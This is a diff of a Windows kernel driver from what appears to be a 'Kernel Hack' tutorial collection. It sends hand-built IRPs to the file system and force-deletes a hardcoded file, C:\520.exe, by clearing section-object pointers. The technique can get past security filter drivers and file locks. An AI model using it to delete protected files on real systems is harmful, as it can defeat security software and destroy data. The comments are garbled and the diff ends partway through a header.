PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + NTSTATUS status = STATUS_SUCCESS; + + pDriverObject->DriverUnload = DriverUnload; + pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDefaultHandle; + pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControlHandle; + + status = CreateDevice(pDriverObject); + + // ǿɾļ + UNICODE_STRING ustrFileName; + RtlInitUnicodeString(&ustrFileName, L"C:\\520.exe"); + status = ForceDeleteFile(ustrFileName); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter DriverUnload\n"); + + if (pDriverObject->DeviceObject) + { + IoDeleteDevice(pDriverObject->DeviceObject); + } + UNICODE_STRING ustrSymName; + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + IoDeleteSymbolicLink(&ustrSymName); + + DbgPrint("Leave DriverUnload\n"); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverDefaultHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverDefaultHandle\n"); + return status; +} + + +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + DbgPrint("Enter DriverControlHandle\n"); + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp); + ULONG ulInputLen = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength; + ULONG ulOutputLen = pIoStackLocation->Parameters.DeviceIoControl.OutputBufferLength; + ULONG ulControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; + PVOID pBuffer = pIrp->AssociatedIrp.SystemBuffer; + ULONG ulInfo = 0; + + switch (ulControlCode) + { + case IOCTL_TEST: + { + break; + } + default: + break; + } + + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = ulInfo; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + DbgPrint("Leave DriverControlHandle\n"); + return status; +} + + +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject) +{ + DbgPrint("Enter CreateDevice\n"); + NTSTATUS status = STATUS_SUCCESS; + PDEVICE_OBJECT pDevObj = NULL; + UNICODE_STRING ustrDevName, ustrSymName; + RtlInitUnicodeString(&ustrDevName, DEV_NAME); + RtlInitUnicodeString(&ustrSymName, SYM_NAME); + + status = IoCreateDevice(pDriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateDevice Error[0x%X]\n", status); + return status; + } + + status = IoCreateSymbolicLink(&ustrSymName, &ustrDevName); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateSymbolicLink Error[0x%X]\n", status); + return status; + } + + DbgPrint("Leave CreateDevice\n"); + return status; +} + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.h" new file mode 100644 index 0000000..9b117a4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/Driver.h" @@ -0,0 +1,19 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +#define DEV_NAME L"\\Device\\IRP_FILE_DEV_NAME" +#define SYM_NAME L"\\DosDevices\\IRP_FILE_SYM_NAME" +#define IOCTL_TEST CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS DriverControlHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); +NTSTATUS CreateDevice(PDRIVER_OBJECT pDriverObject); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.c" new file mode 100644 index 0000000..c4ad962 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.c" @@ -0,0 +1,74 @@ +#include "ForceDelete.h" + + +// ǿɾļ +NTSTATUS ForceDeleteFile(UNICODE_STRING ustrFileName) +{ + NTSTATUS status = STATUS_SUCCESS; + PFILE_OBJECT pFileObject = NULL; + IO_STATUS_BLOCK iosb = { 0 }; + FILE_BASIC_INFORMATION fileBaseInfo = { 0 }; + FILE_DISPOSITION_INFORMATION fileDispositionInfo = { 0 }; + PVOID pImageSectionObject = NULL; + PVOID pDataSectionObject = NULL; + PVOID pSharedCacheMap = NULL; + + // IRPļ + status = IrpCreateFile(&pFileObject, GENERIC_READ | GENERIC_WRITE, &ustrFileName, + &iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); + if (!NT_SUCCESS(status)) + { + DbgPrint("IrpCreateFile Error[0x%X]\n", status); + return FALSE; + } + + // IRPļ, ȥֻ, ޸Ϊ FILE_ATTRIBUTE_NORMAL + RtlZeroMemory(&fileBaseInfo, sizeof(fileBaseInfo)); + fileBaseInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + status = IrpSetInformationFile(pFileObject, &iosb, &fileBaseInfo, sizeof(fileBaseInfo), FileBasicInformation); + if (!NT_SUCCESS(status)) + { + DbgPrint("IrpSetInformationFile[SetInformation] Error[0x%X]\n", status); + return status; + } + + // PSECTION_OBJECT_POINTERSṹ + if (pFileObject->SectionObjectPointer) + { + // ֵ + pImageSectionObject = pFileObject->SectionObjectPointer->ImageSectionObject; + pDataSectionObject = pFileObject->SectionObjectPointer->DataSectionObject; + pSharedCacheMap = pFileObject->SectionObjectPointer->SharedCacheMap; + // Ϊ + pFileObject->SectionObjectPointer->ImageSectionObject = NULL; + pFileObject->SectionObjectPointer->DataSectionObject = NULL; + pFileObject->SectionObjectPointer->SharedCacheMap = NULL; + } + + // IRPļ, ɾļ + RtlZeroMemory(&fileDispositionInfo, sizeof(fileDispositionInfo)); + fileDispositionInfo.DeleteFile = TRUE; + status = IrpSetInformationFile(pFileObject, &iosb, &fileDispositionInfo, sizeof(fileDispositionInfo), FileDispositionInformation); + if (!NT_SUCCESS(status)) + { + DbgPrint("IrpSetInformationFile[DeleteFile] Error[0x%X]\n", status); + return status; + } + + //ԭֵ + if (pFileObject->SectionObjectPointer) + { + pFileObject->SectionObjectPointer->ImageSectionObject = pImageSectionObject; + pFileObject->SectionObjectPointer->DataSectionObject = pDataSectionObject; + pFileObject->SectionObjectPointer->SharedCacheMap = pSharedCacheMap; + } + + // رļ + ObDereferenceObject(pFileObject); + + return status; +} + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.h" new file mode 100644 index 0000000..f78b3c9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/ForceDelete.h" @@ -0,0 +1,12 @@ +#ifndef _FORCE_DELETE_H_ +#define _FORCE_DELETE_H_ + + +#include "IrpFile.h" + + +// ǿɾļ +NTSTATUS ForceDeleteFile(UNICODE_STRING ustrFileName); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.c" new file mode 100644 index 0000000..e055108 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.c" @@ -0,0 +1,625 @@ +#include "IrpFile.h" + + +// ʵ, ¼ź, ͷIRP +NTSTATUS MyCompleteRoutine( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP pIrp, + IN PVOID Context) +{ + *pIrp->UserIosb = pIrp->IoStatus; + + // ¼ź + if (pIrp->UserEvent) + { + KeSetEvent(pIrp->UserEvent, IO_NO_INCREMENT, FALSE); + } + + // ͷMDL + if (pIrp->MdlAddress) + { + IoFreeMdl(pIrp->MdlAddress); + pIrp->MdlAddress = NULL; + } + + // ͷIRP + IoFreeIrp(pIrp); + pIrp = NULL; + + return STATUS_MORE_PROCESSING_REQUIRED; +} + + +// ߴļ +// ZwCreateFile +NTSTATUS IrpCreateFile( + OUT PFILE_OBJECT *ppFileObject, + IN ACCESS_MASK DesiredAccess, + IN PUNICODE_STRING pustrFilePath, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG ulFileNameMaxSize = 512; + WCHAR wszName[100] = { 0 }; + UNICODE_STRING ustrRootPath; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + HANDLE hRootFile = NULL; + PFILE_OBJECT pRootFileObject = NULL, pFileObject = NULL; + PDEVICE_OBJECT RootDeviceObject = NULL, RootRealDevice = NULL; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + ACCESS_STATE accessData = { 0 }; + AUX_ACCESS_DATA auxAccessData = { 0 }; + IO_SECURITY_CONTEXT ioSecurityContext = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + + // 򿪴̸Ŀ¼ȡ + wcscpy(wszName, L"\\??\\A:\\"); + wszName[4] = pustrFilePath->Buffer[0]; + RtlInitUnicodeString(&ustrRootPath, wszName); + DbgPrint("RootPath:%wZ\n", &ustrRootPath); + InitializeObjectAttributes(&objectAttributes, &ustrRootPath, OBJ_KERNEL_HANDLE, NULL, NULL); + status = IoCreateFile(&hRootFile, GENERIC_READ | SYNCHRONIZE, + &objectAttributes, IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, + NULL, IO_NO_PARAMETER_CHECKING); + if (!NT_SUCCESS(status)) + { + DbgPrint("IoCreateFile Error[0x%X]", status); + return status; + } + + // ȡ̸Ŀ¼ļ + status = ObReferenceObjectByHandle(hRootFile, FILE_READ_ACCESS, *IoFileObjectType, KernelMode, &pRootFileObject, NULL); + if (!NT_SUCCESS(status)) + { + ZwClose(hRootFile); + DbgPrint("ObReferenceObjectByHandle Error[0x%X]\n", status); + return status; + } + + // ȡ̸Ŀ¼豸 + RootDeviceObject = pRootFileObject->Vpb->DeviceObject; + RootRealDevice = pRootFileObject->Vpb->RealDevice; + + // رմ̸Ŀ¼Ͷ + ObDereferenceObject(pRootFileObject); + ZwClose(hRootFile); + + // IRP + pIrp = IoAllocateIrp(RootDeviceObject->StackSize, FALSE); + if (NULL == pIrp) + { + ObDereferenceObject(pFileObject); + DbgPrint("IoAllocateIrp Error!\n"); + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // ļ + InitializeObjectAttributes(&objectAttributes, NULL, OBJ_CASE_INSENSITIVE, NULL, NULL); + status = ObCreateObject(KernelMode, *IoFileObjectType, &objectAttributes, KernelMode, NULL, sizeof(FILE_OBJECT), 0, 0, &pFileObject); + if (!NT_SUCCESS(status)) + { + DbgPrint("ObCreateObject Error[0x%X]\n", status); + return status; + } + + // ôļ FILE_OBJECT + RtlZeroMemory(pFileObject, sizeof(FILE_OBJECT)); + pFileObject->Type = IO_TYPE_FILE; + pFileObject->Size = sizeof(FILE_OBJECT); + pFileObject->DeviceObject = RootRealDevice; + pFileObject->Flags = FO_SYNCHRONOUS_IO; + + // FILE_OBJECTеFileNameö̬, ObDereferenceObjectļʱ + pFileObject->FileName.Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, ulFileNameMaxSize); + pFileObject->FileName.MaximumLength = (USHORT)ulFileNameMaxSize; + pFileObject->FileName.Length = pustrFilePath->Length - 4; + RtlZeroMemory(pFileObject->FileName.Buffer, ulFileNameMaxSize); + RtlCopyMemory(pFileObject->FileName.Buffer, &pustrFilePath->Buffer[2], pFileObject->FileName.Length); + DbgPrint("pFileObject->FileName:%wZ\n", &pFileObject->FileName); + KeInitializeEvent(&pFileObject->Lock, SynchronizationEvent, FALSE); + KeInitializeEvent(&pFileObject->Event, NotificationEvent, FALSE); + + // Ȩ״̬ + RtlZeroMemory(&auxAccessData, sizeof(auxAccessData)); + status = SeCreateAccessState(&accessData, &auxAccessData, DesiredAccess, IoGetFileObjectGenericMapping()); + if (!NT_SUCCESS(status)) + { + IoFreeIrp(pIrp); + ObDereferenceObject(pFileObject); + DbgPrint("SeCreateAccessState Error[0x%X]\n", status); + return status; + } + + // ðȫ IO_SECURITY_CONTEXT + ioSecurityContext.SecurityQos = NULL; + ioSecurityContext.AccessState = &accessData; + ioSecurityContext.DesiredAccess = DesiredAccess; + ioSecurityContext.FullCreateOptions = 0; + + // IRP + RtlZeroMemory(IoStatusBlock, sizeof(IO_STATUS_BLOCK)); + pIrp->MdlAddress = NULL; + pIrp->AssociatedIrp.SystemBuffer = EaBuffer; + pIrp->Flags = IRP_CREATE_OPERATION | IRP_SYNCHRONOUS_API; + pIrp->RequestorMode = KernelMode; + pIrp->UserIosb = IoStatusBlock; + pIrp->UserEvent = &kEvent; + pIrp->PendingReturned = FALSE; + pIrp->Cancel = FALSE; + pIrp->CancelRoutine = NULL; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.AuxiliaryBuffer = NULL; + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_CREATE; + pIoStackLocation->DeviceObject = RootDeviceObject; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Create.SecurityContext = &ioSecurityContext; + pIoStackLocation->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions; + pIoStackLocation->Parameters.Create.FileAttributes = (USHORT)FileAttributes; + pIoStackLocation->Parameters.Create.ShareAccess = (USHORT)ShareAccess; + pIoStackLocation->Parameters.Create.EaLength = EaLength; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(RootDeviceObject, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, NULL); + } + + // жIRP + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + ObDereferenceObject(pFileObject); + DbgPrint("IRP FAILED!\n"); + return status; + } + + InterlockedIncrement(&pFileObject->DeviceObject->ReferenceCount); + if (pFileObject->Vpb) + { + InterlockedIncrement(&pFileObject->Vpb->ReferenceCount); + } + + // ļ + *ppFileObject = pFileObject; + + return status; +} + + +// ļ +// ZwQueryDirectoryFile +NTSTATUS IrpQueryDirectoryFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN PUNICODE_STRING FileName OPTIONAL) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(FileInformation, Length); + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->UserBuffer = FileInformation; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + pIrp->Overlay.AsynchronousParameters.UserApcRoutine = NULL; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_DIRECTORY_CONTROL; + pIoStackLocation->MinorFunction = IRP_MN_QUERY_DIRECTORY; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Flags = SL_RESTART_SCAN; + pIoStackLocation->Parameters.QueryDirectory.Length = Length; + pIoStackLocation->Parameters.QueryDirectory.FileName = FileName; + pIoStackLocation->Parameters.QueryDirectory.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// ȡļϢ +// ZwQueryInformationFile +NTSTATUS IrpQueryInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(FileInformation, Length); + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->AssociatedIrp.SystemBuffer = FileInformation; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_QUERY_INFORMATION; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.QueryFile.Length = Length; + pIoStackLocation->Parameters.QueryFile.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + + +// ļϢ +// ZwSetInformationFile +NTSTATUS IrpSetInformationFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->AssociatedIrp.SystemBuffer = FileInformation; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_SET_INFORMATION; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.SetFile.Length = Length; + pIoStackLocation->Parameters.SetFile.FileInformationClass = FileInformationClass; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// ļ +// ZwReadFile +NTSTATUS IrpReadFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // + if (NULL == ByteOffset) + { + if (0 == (FO_SYNCHRONOUS_IO & pFileObject->Flags)) + { + return STATUS_INVALID_PARAMETER; + } + ByteOffset = &pFileObject->CurrentByteOffset; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + RtlZeroMemory(Buffer, Length); + pIrp->MdlAddress = MmCreateMdl(NULL, Buffer, Length); + if (NULL == pIrp->MdlAddress) + { + IoFreeIrp(pIrp); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmBuildMdlForNonPagedPool(pIrp->MdlAddress); + + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->Flags = IRP_READ_OPERATION; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_READ; + pIoStackLocation->MinorFunction = IRP_MN_NORMAL; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Read.Length = Length; + pIoStackLocation->Parameters.Read.ByteOffset = *ByteOffset; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + +// дļ +// ZwWriteFile +NTSTATUS IrpWriteFile( + IN PFILE_OBJECT pFileObject, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL + ) +{ + NTSTATUS status = STATUS_SUCCESS; + PIRP pIrp = NULL; + KEVENT kEvent = { 0 }; + PIO_STACK_LOCATION pIoStackLocation = NULL; + PDEVICE_OBJECT pDevObj = NULL; + + // жϲǷЧ + if ((NULL == pFileObject) || + (NULL == pFileObject->Vpb) || + (NULL == pFileObject->Vpb->DeviceObject)) + { + return STATUS_UNSUCCESSFUL; + } + + // + if (NULL == ByteOffset) + { + if (0 == (FO_SYNCHRONOUS_IO & pFileObject->Flags)) + { + return STATUS_INVALID_PARAMETER; + } + ByteOffset = &pFileObject->CurrentByteOffset; + } + + // ȡ豸 + pDevObj = pFileObject->Vpb->DeviceObject; + + // IRP + pIrp = IoAllocateIrp(pDevObj->StackSize, FALSE); + if (NULL == pIrp) + { + return STATUS_UNSUCCESSFUL; + } + + // ¼ + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + // IRP + pIrp->MdlAddress = MmCreateMdl(NULL, Buffer, Length); + if (NULL == pIrp->MdlAddress) + { + IoFreeIrp(pIrp); + return STATUS_INSUFFICIENT_RESOURCES; + } + MmBuildMdlForNonPagedPool(pIrp->MdlAddress); + + pIrp->UserEvent = &kEvent; + pIrp->UserIosb = IoStatusBlock; + pIrp->Flags = IRP_WRITE_OPERATION; + pIrp->RequestorMode = KernelMode; + pIrp->Tail.Overlay.Thread = PsGetCurrentThread(); + pIrp->Tail.Overlay.OriginalFileObject = pFileObject; + + // ȡһIRPIO_STACK_LOCATION + pIoStackLocation = IoGetNextIrpStackLocation(pIrp); + pIoStackLocation->MajorFunction = IRP_MJ_WRITE; + pIoStackLocation->MinorFunction = IRP_MN_NORMAL; + pIoStackLocation->DeviceObject = pDevObj; + pIoStackLocation->FileObject = pFileObject; + pIoStackLocation->Parameters.Write.Length = Length; + pIoStackLocation->Parameters.Write.ByteOffset = *ByteOffset; + + // ʵ, Ա֪ͨIRP, ͷԴ + IoSetCompletionRoutine(pIrp, MyCompleteRoutine, NULL, TRUE, TRUE, TRUE); + + // IRP + status = IoCallDriver(pDevObj, pIrp); + + // ȴIRPĴ + if (STATUS_PENDING == status) + { + KeWaitForSingleObject(&kEvent, Executive, KernelMode, FALSE, NULL); + } + + status = IoStatusBlock->Status; + if (!NT_SUCCESS(status)) + { + return status; + } + return status; +} + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.h" new file mode 100644 index 0000000..d889d05 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\346\226\207\344\273\266\345\274\272\345\210\240/IrpFileForceDelete_Test/IrpFileForceDelete_Test/IrpFile.h" @@ -0,0 +1,113 @@ +#ifndef _IRP_FILE_H_ +#define _IRP_FILE_H_ + + +#include + + +typedef struct _AUX_ACCESS_DATA { + PPRIVILEGE_SET PrivilegesUsed; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK AccessesToAudit; + ACCESS_MASK MaximumAuditMask; + ULONG 